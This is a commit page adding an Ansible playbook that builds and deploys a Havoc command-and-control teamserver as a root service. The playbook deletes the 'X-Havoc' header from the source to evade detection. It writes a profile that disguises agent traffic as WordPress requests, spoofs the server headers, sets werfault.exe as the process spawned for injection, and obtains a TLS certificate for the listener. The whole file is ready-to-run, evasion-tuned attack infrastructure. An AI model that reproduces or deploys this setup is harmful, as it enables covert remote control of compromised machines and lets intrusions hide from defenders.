Added setup_havoc_teamserver.yml
parent
ca11723229
commit
7abfc9aa28
|
@ -0,0 +1,197 @@
|
|||
---
|
||||
- name: Setup Havoc Teamserver
|
||||
hosts: change hostname
|
||||
become: true
|
||||
vars:
|
||||
domain_name: "change your domain"
|
||||
operator_username: "change username"
|
||||
operator_password: "change password"
|
||||
|
||||
tasks:
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- git
|
||||
- build-essential
|
||||
- apt-utils
|
||||
- cmake
|
||||
- libfontconfig1
|
||||
- libglu1-mesa-dev
|
||||
- libgtest-dev
|
||||
- libspdlog-dev
|
||||
- libboost-all-dev
|
||||
- libncurses5-dev
|
||||
- libgdbm-dev
|
||||
- libssl-dev
|
||||
- libreadline-dev
|
||||
- libffi-dev
|
||||
- libsqlite3-dev
|
||||
- libbz2-dev
|
||||
- mesa-common-dev
|
||||
- qtbase5-dev
|
||||
- qtchooser
|
||||
- qt5-qmake
|
||||
- qtbase5-dev-tools
|
||||
- libqt5websockets5
|
||||
- libqt5websockets5-dev
|
||||
- qtdeclarative5-dev
|
||||
- golang-go
|
||||
- qtbase5-dev
|
||||
- libqt5websockets5-dev
|
||||
- python3-dev
|
||||
- libboost-all-dev
|
||||
- mingw-w64
|
||||
- nasm
|
||||
- apache2
|
||||
- certbot
|
||||
- python3-certbot-apache
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Check if Havoc is already installed
|
||||
stat:
|
||||
path: /opt/Havoc/havoc
|
||||
register: havoc_installed
|
||||
|
||||
- name: Clone Havoc repository
|
||||
git:
|
||||
repo: 'https://github.com/HavocFramework/Havoc'
|
||||
dest: '/opt/Havoc'
|
||||
update: yes
|
||||
key_file: "{{ ansible_ssh_private_key_file }}"
|
||||
when: not havoc_installed.stat.exists
|
||||
|
||||
- name: Remove specific line from http.go
|
||||
lineinfile:
|
||||
path: /opt/Havoc/teamserver/pkg/handlers/http.go
|
||||
state: absent
|
||||
regexp: 'ctx\.Header\("X-Havoc", "true"\)'
|
||||
when: not havoc_installed.stat.exists
|
||||
|
||||
- name: Download Go modules
|
||||
command: go mod download
|
||||
args:
|
||||
chdir: /opt/Havoc/teamserver
|
||||
environment:
|
||||
GOPATH: "/opt/Havoc"
|
||||
when: not havoc_installed.stat.exists
|
||||
|
||||
- name: Build Havoc teamserver
|
||||
command: make ts-build
|
||||
args:
|
||||
chdir: /opt/Havoc
|
||||
when: not havoc_installed.stat.exists
|
||||
|
||||
- name: Obtain SSL certificate using Certbot
|
||||
command: certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d "{{ domain_name }}"
|
||||
when: domain_name is defined
|
||||
|
||||
- name: Create Havoc configuration file
|
||||
copy:
|
||||
dest: /opt/Havoc/profiles/havoc.yaotl
|
||||
content: |
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = 40056
|
||||
|
||||
Build {
|
||||
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
user "{{ operator_username }}" {
|
||||
Password = "{{ operator_password }}"
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = 2
|
||||
Jitter = 15
|
||||
|
||||
TrustXForwardedFor = true
|
||||
|
||||
Injection {
|
||||
Spawn64 = "C:\\Windows\\System32\\werfault.exe"
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\werfault.exe"
|
||||
}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
Http {
|
||||
Name = "Agent Listener - HTTP/s"
|
||||
Hosts = [
|
||||
"{{ domain_name }}"
|
||||
]
|
||||
HostBind = "0.0.0.0"
|
||||
PortBind = 443
|
||||
PortConn = 443
|
||||
HostRotation = "round-robin"
|
||||
Secure = true
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
|
||||
Uris = [
|
||||
"/wp-content/themes/default/advanced_search?hl=en-GB&fg=",
|
||||
"/wp-admin/admin.php?page=troubleshooter&id=1631343",
|
||||
"/wp-admin/admin-ajax.php?action=async_newtab&ei=",
|
||||
"/wp-admin/js/babel-polyfill/6.3.14/polyfill.min.js",
|
||||
"/wp-login.php",
|
||||
"/wp-includes/images/wpspin.gif",
|
||||
"/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css"
|
||||
]
|
||||
|
||||
Headers = [
|
||||
"Content-type: text/plain"
|
||||
]
|
||||
|
||||
Cert {
|
||||
Cert = "/etc/letsencrypt/live/{{ domain_name }}/cert.pem"
|
||||
Key = "/etc/letsencrypt/live/{{ domain_name }}/privkey.pem"
|
||||
}
|
||||
|
||||
Response {
|
||||
Headers = [
|
||||
"Content-Type: text/html; charset=utf-8",
|
||||
"X-Frame-Options: DENY",
|
||||
"Strict-Transport-Security: max-age=1209600",
|
||||
"Server: nginx",
|
||||
"Host-header: WordPress.com"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
- name: Create systemd service file for Havoc
|
||||
copy:
|
||||
dest: /etc/systemd/system/havoc.service
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Havoc Teamserver
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
WorkingDirectory=/opt/Havoc
|
||||
ExecStart=/opt/Havoc/havoc server --profile profiles/havoc.yaotl -v
|
||||
Restart=on-failure
|
||||
RestartSec=10
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
|
||||
- name: Reload systemd to apply changes
|
||||
command: systemctl daemon-reload
|
||||
|
||||
- name: Enable Havoc service to start on boot
|
||||
systemd:
|
||||
name: havoc
|
||||
enabled: yes
|
||||
state: started
|
||||
|
||||
- name: Start Havoc service
|
||||
systemd:
|
||||
name: havoc
|
||||
state: started
|
Loading…
Reference in New Issue